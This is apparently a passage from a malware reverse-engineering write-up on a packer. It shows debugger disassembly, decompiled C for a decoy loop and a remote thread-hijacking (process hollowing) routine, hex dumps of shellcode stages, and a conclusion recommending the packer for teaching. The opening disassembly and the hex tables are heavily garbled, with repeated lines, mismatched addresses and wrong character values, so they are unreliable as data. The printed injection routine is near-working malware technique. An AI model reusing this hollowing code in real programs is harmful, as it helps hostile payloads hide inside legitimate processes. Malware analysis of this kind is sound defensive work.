• 00940656 C685 D8FEFFFF 75 mov byte ptr ss: [ebp-128],75 75: 'u' • 00940650 C685 D9FEFFFF 73 mov byte ptr ss: [ebp-127],73 73: 's' • 00940664 C685 D8FEFFFF 72 mov byte ptr ss: [ebp-126],65 65: 'e' • 00940664 C685 D8FEFFFF 72 mov byte ptr ss: [ebp-126],72 72: 'r' • 00940672 C685 D0FEFFFF 33 mov byte ptr ss: [ebp-123],32 33: '3' • 00940679 C685 D0FEFFFF 40 mov byte ptr ss: [ebp-120],40 40: 'M' • 00940688 C685 E0FEFFFF 40 mov byte ptr ss: [ebp-118],65 65: 'e' • 00940695 C685 E0FEFFFF 65 mov byte ptr ss: [ebp-118],73 73: 's' • 009406969 C685 E3FEFFFF 73 mov byte ptr ss: [ebp-118],73 73: 's' • 00940697 C685 E3FEFFFF 61 mov byte ptr ss: [ebp-118],73 73: 's' • 009406969 C685 E3FEFFFF 61 mov byte ptr ss: [ebp-118],67 67: 'g' • 00940681 C685 E3FEFFFF 61 mov byte ptr ss: [ebp-118],65 65: 'e' • 00940681 C685 E3FEFFFF 78 mov byte ptr ss: [ebp-118],65 65: 'e' • 00940608 C685 E3FEFFFF 78 mov byte ptr ss: [ebp-113],42 42: 'B'		0094064F	C685 28FFFFFF 00	mov byte ptr ss:[ebp-D8],0	
00994065D C68S D9FEFFF 73 mov byte ptr ss:[ebp-126],65 65:'e' 009940664 C68S D8FEFFF 65 mov byte ptr ss:[ebp-126],65 65:'e' 009940672 C68S D0FEFFFF 72 mov byte ptr ss:[ebp-123],32 33:'3' 009940679 C68S D0FEFFFF 33 mov byte ptr ss:[ebp-123],32 32:'2' 009940670 C68S D0FEFFFF 32 mov byte ptr ss:[ebp-122],0 40:'M' 009940680 C68S D0FEFFFF 40 mov byte ptr ss:[ebp-120],40 40:'M' 009940681 C68S E3 E0FEFFF 65 mov byte ptr ss:[ebp-112],0 73:'s' 009940682 C68S E3 E0FEFFF 73 mov byte ptr ss:[ebp-112],73 73:'s' 009940682 C68S E3 E2FEFFF 73 mov byte ptr ss:[ebp-111],73 73:'s' 009940683 C68S E3 E2FEFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 009940684 C68S E3 E2FEFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 009940683 C68S E3 E2FEFFF 73 mov byte ptr ss:[ebp-111],73 73:'s' 009940684 C68S E3 E3FEFFFF 61 mov byte ptr ss:[ebp-114],65 65:'e' 009940681 C68S E3 E3FEFFFF 62 mov byte ptr ss:[ebp-113],65 65:'e' 009940682 <th></th> <th>00940656</th> <th>C685 D8FEFFFF 75</th> <th>mov byte ptr ss:[ebp-128],75</th> <th>75:'u'</th>		00940656	C685 D8FEFFFF 75	mov byte ptr ss:[ebp-128],75	75:'u'
00940664 C685 DAFEFFFF 65 mov byte ptr ss:[ebp-126],65 65:'e' 0094066B C685 DEFEFFF 72 mov byte ptr ss:[ebp-123],72 72:'r' 00940672 C685 DOFEFFFF 32 mov byte ptr ss:[ebp-123],32 33:'3' 00940672 C685 DOFEFFFF 32 mov byte ptr ss:[ebp-124],33 33:'3' 00940672 C685 DOFEFFFF 32 mov byte ptr ss:[ebp-122],40 4D:'M' 00940682 C685 EDFEFFF 40 mov byte ptr ss:[ebp-116],40 4D:'M' 00940682 C685 EDFEFFF 73 mov byte ptr ss:[ebp-116],73 73:'s' 00940684 C685 EDFEFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940695 C685 EDFEFFF 73 mov byte ptr ss:[ebp-111],73 73:'s' 00940643 C685 EDFEFFF 73 mov byte ptr ss:[ebp-111],73 73:'s' 0094064A C685 EDFEFFF 61 mov byte ptr ss:[ebp-118],65 65:'e' 00940661 C685 EDFEFFF 72 mov byte ptr ss:[ebp-113],65 65:'e' 00940661 C685 EDFEFFF 72 mov byte ptr ss:[ebp-113],65 65:'e' 00940661 C685 EDFEFFF 78 mov byte ptr ss:[ebp-113],65		0094065D	C685 D9FEFFFF 73	mov byte ptr ss:[ebp-127],73	73:'s'
• 00940668 C685 DBFEFFFF 72 mov byte ptr ss:[ebp-125],72 72:'r' • 00940672 C685 DCFEFFFF 33 mov byte ptr ss:[ebp-124],33 33:'3' • 00940679 C685 DDFEFFFF 32 mov byte ptr ss:[ebp-123],32 32:'2' • 00940680 C685 DEFEFFF 40 mov byte ptr ss:[ebp-120],40 40:'M' • 00940682 C685 E0FEFFFF 40 mov byte ptr ss:[ebp-112],65 65:'e' • 00940682 C685 E1FEFFF 40 mov byte ptr ss:[ebp-116],73 73:'s' • 00940695 C685 E3FEFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' • 00940643 C685 E3FEFFF 61 mov byte ptr ss:[ebp-111],73 73:'s' • 00940643 C685 E3FEFFF 61 mov byte ptr ss:[ebp-111],73 73:'s' • 00940643 C685 E3FEFFF 65 mov byte ptr ss:[ebp-111],65 65:'e' • 00940643 C685 E3FEFFF 65 mov byte ptr ss:[ebp-113],65 65:'e' • 00940648 C685 E3FEFFF 65 mov byte ptr ss:[ebp-113],65 65:'e' • 00940648 C685 E3FEFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' • 00940664 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' • 00940665		00940664	C685 DAFEFFFF 65	mov byte ptr ss:[ebp-126],65	65:'e'
• 00940672 C685 DCFEFFFF 33 mov byte ptr ss:[ebp-124],33 33:'3' • 00940679 C685 DDFEFFFF 32 mov byte ptr ss:[ebp-123],32 32:'2' • 00940680 C685 DDFEFFFF 40 mov byte ptr ss:[ebp-122],0 4D:'M' • 00940687 C685 E0FEFFF 40 mov byte ptr ss:[ebp-120],40 4D:'M' • 00940688 C685 E0FEFFFF 60 mov byte ptr ss:[ebp-120],40 4D:'M' • 00940695 C685 E0FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' • 00940692 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-110],73 73:'s' • 00940640 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-111],61 61:'a' • 00940641 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],65 65:'e' • 00940640 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-114],65 65:'e' • 00940641 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-114],65 65:'e' • 00940642 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],67 67:'g' • 00940648 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],67 67:'g' • 00940648 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' • 009406464 <th>۲</th> <th>0094066B</th> <th>C685 DBFEFFFF 72</th> <th>mov byte ptr ss:[ebp-125],72</th> <th>72:'r'</th>	۲	0094066B	C685 DBFEFFFF 72	mov byte ptr ss:[ebp-125],72	72:'r'
00940679 C685 DDFEFFFF 32 mov byte ptr ss:[ebp-123],32 32:'2' 00940680 C685 DFEFFFF 40 mov byte ptr ss:[ebp-122],0 4D:'M' 00940682 C685 E1FEFFF 40 mov byte ptr ss:[ebp-112],40 4D:'M' 00940682 C685 E1FEFFF 65 mov byte ptr ss:[ebp-116],73 73:'s' 00940695 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940690 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940643 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-110],73 73:'s' 00940643 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-116],61 61:'a' 00940661 C685 E3FEFFFF 65 mov byte ptr ss:[ebp-113],65 65:'e' 00940661 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],65 65:'e' 009406681 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],65 65:'e' 00940666 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-117],78 78:'x' 00940660 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' 00940600 C685 E3FEFFFF 80 mov byte ptr ss:[ebp-116],41 41:'A' 009406004 C685 E3FEFFFF 80 <th></th> <th>00940672</th> <th>C685 DCFEFFFF 33</th> <th>mov byte ptr ss:[ebp-124],33</th> <th>33:'3'</th>		00940672	C685 DCFEFFFF 33	mov byte ptr ss:[ebp-124],33	33:'3'
90940680 C685 DEFEFFFF 00 mov byte ptr ss:[ebp-122],0 00940687 C685 E0FEFFFF 4D mov byte ptr ss:[ebp-120],4D 4D:'M' 00940682 C685 E1FEFFF 65 mov byte ptr ss:[ebp-11E],65 65:'e' 00940695 C685 E2FEFFFF 73 mov byte ptr ss:[ebp-11E],73 73:'s' 00940690 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940643 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-110],73 73:'s' 00940643 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-110],73 73:'s' 00940661 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-111],65 65:'e' 00940681 C685 E3FEFFFF 65 mov byte ptr ss:[ebp-110],42 42:'B' 00940668 C685 E3FEFFFF 65 mov byte ptr ss:[ebp-113],65 65:'e' 00940668 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-113],65 65:'e' 00940660 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' 00940600 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-115],0 41:'A' 00940601 C685 E3FEFFFF lea edx,dword ptr ss:[ebp-123] edx:&L"nder-l1-1-0" 00940602 F595 20FFFFFF c	•	00940679	C685 DDFEFFFF 32	mov byte ptr ss:[ebp-123],32	32:'2'
90940687 C685 E0FEFFFF 40 mov byte ptr ss:[ebp-120],40 4D:'M' 0094068E C685 E1FEFFF 65 mov byte ptr ss:[ebp-11E],65 65:'e' 00940695 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-11B],73 73:'s' 009406A3 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-11B],67 73:'s' 009406A3 C685 E3FEFFFF 61 mov byte ptr ss:[ebp-11B],67 67:'g' 009406B1 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 67:'g' 00940688 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 00940688 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 00940688 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 00940668 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 00940668 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 00940668 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-11B],67 65:'e' 00940606 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-11B],67 65:'o' 00940600 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-11B],67 65:'o' 00940600 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-113],78 78:'x' 00940600 C685 E3FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" edx:&L"nder-l1-1-0" call dword ptr ss:[ebp-E0]	۲	00940680	C685 DEFEFFFF 00	mov byte ptr ss:[ebp-122],0	
• 0094068E • C685 E1FEFFFF 65 • 00v byte ptr ss:[ebp-11E],73 • 00v byte ptr ss:[ebp-11E],73 • 00v byte ptr ss:[ebp-11D],73 • 00v byte ptr ss:[ebp-11D],42 • 00v byte ptr ss:[ebp-11B],6F • 00v byte ptr ss:[ebp-11B],6F • 00v byte ptr ss:[ebp-11D],78 • 00v byte ptr ss:[ebp-11D],00 • 00v byte ptr ss:[ebp-12B] • 009406D4 • 0685 E8FEFFFF • 00v byte ptr ss:[ebp-12B] • 009406E1 • 009406E1 • 009406E2 • FF95 20FFFFFF • 00v byte ptr ss:[ebp-E0]		00940687	C685 EØFEFFFF 4D	mov byte ptr ss:[ebp-120],4D	4D: 'M'
00940695 C685 E2FEFFFF 73 mov byte ptr ss:[ebp-11E],73 73:'s' 0094069C C685 E3FEFFFF 73 mov byte ptr ss:[ebp-11D],73 73:'s' 0094069C C685 E3FEFFFF 61 mov byte ptr ss:[ebp-11C],61 61:'a' 009406A3 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 67:'g' 009406B1 C685 E6FEFFF 67 mov byte ptr ss:[ebp-11A],65 65:'e' 009406B2 C685 E3FEFFF 67 mov byte ptr ss:[ebp-11B],42 42:'B' 009406B2 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 009406B2 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 65:'e' 009406C6 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 67:'g' 009406C6 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-11B],67 67:'o' 009406C6 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-117],78 78:'x' 009406C0 C685 E3FEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' 009406D4 C685 E3FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF <td< th=""><th></th><th>0094068E</th><th>C685 E1FEFFFF 65</th><th>mov byte ptr ss:[ebp-11F],65</th><th>65:'e'</th></td<>		0094068E	C685 E1FEFFFF 65	mov byte ptr ss:[ebp-11F],65	65:'e'
• 0094069C • 0685 E3FEFFFF 73 • 00v byte ptr ss:[ebp-110],73 • 73:'s' • 009406A3 • 0685 E4FEFFFF 61 • 0v byte ptr ss:[ebp-116],61 • 01:'a' • 009406A4 • 0685 E5FEFFFF 67 • 0v byte ptr ss:[ebp-118],67 • 07 • 07 byte ptr ss:[ebp-118],65 • 05:'e' • 009406B1 • 0685 E6FEFFF 65 • 0v byte ptr ss:[ebp-119],42 • 22:'8' • 009406BF • 0685 E5FEFFF 6F • 0v byte ptr ss:[ebp-118],6F • 069406CB • 069406CB • 0685 E5FEFFF 78 • 0v byte ptr ss:[ebp-116],41 • 07 •	•	00940695	C685 E2FEFFFF 73	mov byte ptr ss:[ebp-11E],73	73:'S'
• 009406A3 • C685 E4FEFFFF 61 • 00v byte ptr ss:[ebp-11C],61 • 009406AA C685 E5FEFFFF 67 • 0v byte ptr ss:[ebp-11B],67 • 67:'g' • 009406B1 C685 E6FEFFF 65 • 0v byte ptr ss:[ebp-11A],65 • 65:'e' • 009406B8 C685 E7FEFFF 42 • 0v byte ptr ss:[ebp-119],42 42:'B' • 009406BF C685 E8FEFFFF 6F • 0v byte ptr ss:[ebp-117],78 • 009406C6 C685 E8FEFFFF 78 • 0v byte ptr ss:[ebp-116],41 41:'A' • 009406C0 C685 E8FEFFFF 1ea edx,dword ptr ss:[ebp-128] • 009406E1 52		0094069C	C685 E3FEFFFF 73	mov byte ptr ss:[ebp-11D],73	73:'s'
• 009406AA C685 E5FEFFFF 67 mov byte ptr ss:[ebp-118],67 67:'g' 65:'e' 699406B1 C685 E6FEFFF 65 mov byte ptr ss:[ebp-118],65 65:'e' e09406BF C685 E8FEFFFF 42 mov byte ptr ss:[ebp-119],42 42:'B' e09406CF C685 E8FEFFFF 6F mov byte ptr ss:[ebp-117],78 78:'x' e09406CC C685 E8FEFFFF 78 mov byte ptr ss:[ebp-117],78 78:'x' e09406CD C685 E8FEFFFF 60 mov byte ptr ss:[ebp-115],0 e09406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" edx:&L"nder-l1-1-0" call dword ptr ss:[ebp-E0]		009406A3	C685 E4FEFFFF 61	mov byte ptr ss:[ebp-11C],61	61:'a'
00940681 C685 E6FEFFF 65 mov byte ptr ss:[ebp-11A],65 65:'e' 00940688 C685 E7FEFFF 42 mov byte ptr ss:[ebp-119],42 42:'B' 00940608 C685 E8FEFFF 6F mov byte ptr ss:[ebp-118],6F 6F:'o' 009406C6 C685 E8FEFFF 78 mov byte ptr ss:[ebp-117],78 78:'x' 009406C0 C685 E8FEFFF 41 mov byte ptr ss:[ebp-116],41 41:'A' 009406D4 C685 E8FEFFF 60 mov byte ptr ss:[ebp-115],0 41:'A' 009406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0] 61:'o'		009406AA	C685 E5FEFFFF 67	mov byte ptr ss:[ebp-11B],67	67:'g'
00940688 C685 E7FEFFFF 42 mov byte ptr ss:[ebp-119],42 42:'B' 00940668 C685 E8FEFFF 6F mov byte ptr ss:[ebp-118],6F 6F:'O' 009406C6 C685 E9FEFFF 78 mov byte ptr ss:[ebp-117],78 78:'X' 009406C0 C685 E8FEFFF 41 mov byte ptr ss:[ebp-116],41 41:'A' 009406C4 C685 E8FEFFF 60 mov byte ptr ss:[ebp-115],0 41:'A' 009406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0] 6dx:&L"nder-l1-1-0"	•	009406B1	C685 E6FEFFFF 65	mov byte ptr ss:[ebp-11A],65	65:'e'
0094068F C685 E8FEFFFF 6F mov byte ptr ss:[ebp-118],6F 6F:'o' 009406C6 C685 E9FEFFFF 78 mov byte ptr ss:[ebp-117],78 78:'x' 009406C0 C685 EAFEFFFF 78 mov byte ptr ss:[ebp-116],41 41:'A' 009406C0 C685 EAFEFFFF 41 mov byte ptr ss:[ebp-115],0 41:'A' 009406D4 C685 EBFEFFFF 00 mov byte ptr ss:[ebp-115],0 41:'A' 009406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0] edx:&L"nder-l1-1-0"		009406B8	C685 E7FEFFFF 42	mov byte ptr ss:[ebp-119],42	42: 'B'
009406C6 C685 E9FEFFFF 78 mov byte ptr ss:[ebp-117],78 78:'x' 009406CD C685 EAFEFFFF 41 mov byte ptr ss:[ebp-116],41 41:'A' 009406D4 C685 EBFEFFFF 00 mov byte ptr ss:[ebp-115],0 41:'A' 009406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0] edx:&L"nder-l1-1-0"		009406BF	C685 E8FEFFFF 6F	mov byte ptr ss:[ebp-118],6F	6F:'0'
009406CD C685 EAFEFFFF 41 mov byte ptr ss:[ebp-116],41 41:'A' 009406D4 C685 EBFEFFF 00 mov byte ptr ss:[ebp-115],0 41:'A' 009406D8 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] edx:&L"nder-l1-1-0" 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0] edx:&L"nder-l1-1-0"	•	009406C6	C685 E9FEFFFF 78	mov byte ptr ss:[ebp-117],78	78:'X'
009406D4 C685 EBFEFFF 00 mov byte ptr ss:[ebp-115],0 009406DB 8D95 D8FEFFF lea edx,dword ptr ss:[ebp-128] 009406E1 52 push edx 009406E2 FF95 20FFFFF call dword ptr ss:[ebp-E0]	•	009406CD	C685 EAFEFFFF 41	mov byte ptr ss:[ebp-116],41	41: 'A'
009406DB 8D95 D8FEFFFF lea edx,dword ptr ss:[ebp-128] 009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0]		009406D4	C685 EBFEFFFF 00	mov byte ptr ss:[ebp-115],0	
009406E1 52 push edx edx:&L"nder-l1-1-0" 009406E2 FF95 20FFFFF call dword ptr ss:[ebp-E0] edx:&L"nder-l1-1-0"	۲	009406DB	8D95 D8FEFFFF	lea edx,dword ptr ss:[ebp-128]	
009406E2 FF95 20FFFFFF call dword ptr ss:[ebp-E0]		009406E1	52	push edx	edx:&L"nder-11-1-0"
	•	009406E2	FF95 20FFFFFF	call dword ptr ss:[ebp-E0]	

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable "j" is the only one that have a sense.

```
void __cdecl _Inject(SC *sc)
{
 LPSTRING lpFileName; // [esp+0h] [ebp-14h]
 char magic[8];
 unsigned int j;
 int i;
 strcpy(magic, "apfHQ");
  j = 0;
  i = 0;
 while ( i != 111 )
  {
    lpFileName = (sc->GetFileAttributesA)(magic);
    if ( j > 1 && lpFileName != 0x637ADF )
    {
      i = 111;
      SetupInject(sc);
    }
    ++j;
  }
}
```

Good ol' remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

```
ScOffset = sc->ScOffset;
  pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
  lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
  status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
  if ( pNtHeader->Signature == 0x4550 ) // "PE"
  {
    (sc->GetStartupInfoA)(&lpStartupInfo);
    lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo,
&lpProcessInformation);
    status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
    if ( status )
    {
      (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
      lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
      lpContext->ContextFlags = &loc_10005 + 2;
      status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
      if ( status )
      {
        (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8,
&BaseAddress, 4, 0);
        if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
          (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
        lpBaseAddress = (sc->VirtualAllocEx)(
                          lpProcessInformation.hProcess,
                          pNtHeader->OptionalHeader.ImageBase,
                          pNtHeader->OptionalHeader.SizeOfImage,
                          0x3000,
                          0x40);
        (sc->NtWriteVirtualMemory)(
          lpProcessInformation.hProcess,
          lpBaseAddress,
          sc->ScOffset,
          pNtHeader->OptionalHeader.SizeOfHeaders,
          0);
        for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
        {
          Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
          (sc->NtWriteVirtualMemory)(
            lpProcessInformation.hProcess,
            Section[1].Size + lpBaseAddress,
            Section[2].Size + sc->ScOffset,
            Section[2].VirtualAddress,
            0);
        }
        (sc->WriteProcessMemory)(
          lpProcessInformation.hProcess,
          lpContext->Ebx + 8,
          &pNtHeader->OptionalHeader.ImageBase,
          4,
          0);
        lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint +
lpBaseAddress;
        (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
        (sc->ResumeThread)(lpProcessInformation.hThread);
```

```
(sc->CloseHandle)(lpProcessInformation.hThread);
  (sc->CloseHandle)(lpProcessInformation.hProcess);
  status = (sc->ExitProcess)(0);
  }
}
```

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).



Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it's the exact copy pasta from the shellcode side.



TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

	0	1	2	З	4	5	6	7	8	9	A	1	В		D	E	0123456789ABCDE	2		0	1	2	3	4 1	5	6 7	8	9	A	в	C	D	E	0123456789ABCDE	
00000000	55	8 B	EC	8D	45	C4	83	EC	30	50) E(0	D C	0	00.	0.0	UE <p< td=""><td>^</td><td>00000000</td><td>55</td><td>8B</td><td>EC</td><td>8D -</td><td>5 C</td><td>4 8</td><td>3 E(</td><td>30</td><td>50</td><td>E8</td><td>0D</td><td>0.0</td><td>0.0</td><td>0.0</td><td>UE<p< td=""><td>~</td></p<></td></p<>	^	00000000	55	8B	EC	8D -	5 C	4 8	3 E(30	50	E8	0D	0.0	0.0	0.0	UE <p< td=""><td>~</td></p<>	~
0000000F	8D	45	-C4	50	EB	88		0.0	0.00	5.9	5 5	0	9 0		55	8B	.E.PYYU.		0000000F	80	45	C4	50 1	8 8	8 0	7 00	0.0	59		C9		55	6B	.E.PYYU.	
0000001E	EC	83	EC	38		56		8 E	4.5	0.8	3 CI	6 0	0.0		83	6.5	8SVW.Ee		0000001E	EC	83	EC	38 !	53 5	6 5	7 81	4.5	0.8	CE	0.0		83	65	8SVW.Ee	
0000002D	FC	0.0	ES	00		00		58	8 8 9	4 5	F	8	1 4		F0	CB	X.EE		0000002D	FC	0.0	E 8	00	0 0	0 0	0 58	8.9	45	FO	81	45	2.0	CB	X.EE	
00000030	0.7	00		88	4.5	08		40	E E	8.9	9.46	0	4 6	B	45	FO	EMHE.		0000003C	07	0.0		8B -	15 0	8 8	B 41	P 20	89	4.8	04	88	45	20	EMHE.	
0000004B	83	C0		88	4 D	0.8		41		68	8.84	5 5	7 0		0.0	68	=.MA.h.Wh		0000004B	83	C0		88	D 0	8 8	9 41	0.0	68	8.6	57		00	68	=.MA.h.Wh	
0000005A	8.8	4 E		0.0	E8	1.A		0.0	00	8.9	4.43	F	8 6		FA	8B	.NE.h		0000005A	88	4 E		00 1	8 1	A 0	0 00	00	89	45	F8	68	FA	8B	.NE.h	
00000069	34	00	68	88	4 E	0 D		ES	0.08	00	0.00	0 0	0 8	9	45		4.h.NE.		00000069	34	00	68	88	E O	DD	0 28	0.8	00		00	89	45		4.h.NE.	
00000078	E 9	B5		00		55		EC	53	56	5 50	1 5	1 6	4 1	FF		USVWQd.5		00000078	E9	B5		00	0 5	5 8	BEC	53	56		51	64	FF		USVWQd.5	
00000087	30	00		00		8 B	4.0	00	88	4.6	3 00	8	B		8B	41	0X.8HA		00000087	30	0.0		00	8 8	B 4	0 00	88	48		88		8B	41	0X.0HA	
00000096	30	6A		8B		08		50) E6	5 F	3 00	0 10	0 0		85		0j).WP.(00000096	30	6A		8B	D 0	8 5	7 50) E8	5B		00		85		0j).WP.[
000000A5	7.4	0.4	SB	CA	EB	E7	88	43		50	83	8 S	8 3		03	C3	tA.P.X<		000000A5	74	04	88	CA I	B E	7 8	B 41	18	50	8B	58		03		tA.P.X<	
000000004	0.0			= 0	50	0.7		0.0		20			2 3		0 B		VEVD V O I		100000084	0 B		70		n 0	2 1	0 00	4.0	20	0.10	5.3		OB		VeVD V P I	

It seems that the second shellcode changed few hours ago (at the date of this paper), so let's see if other are motivated to make their own analysis of it

Conclusion

Well well, it's cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer *is really awesome for training and teaching someone into malware/reverse engineering*.

Well, now it's time to go serious for the next release



Stay safe in those weird times o/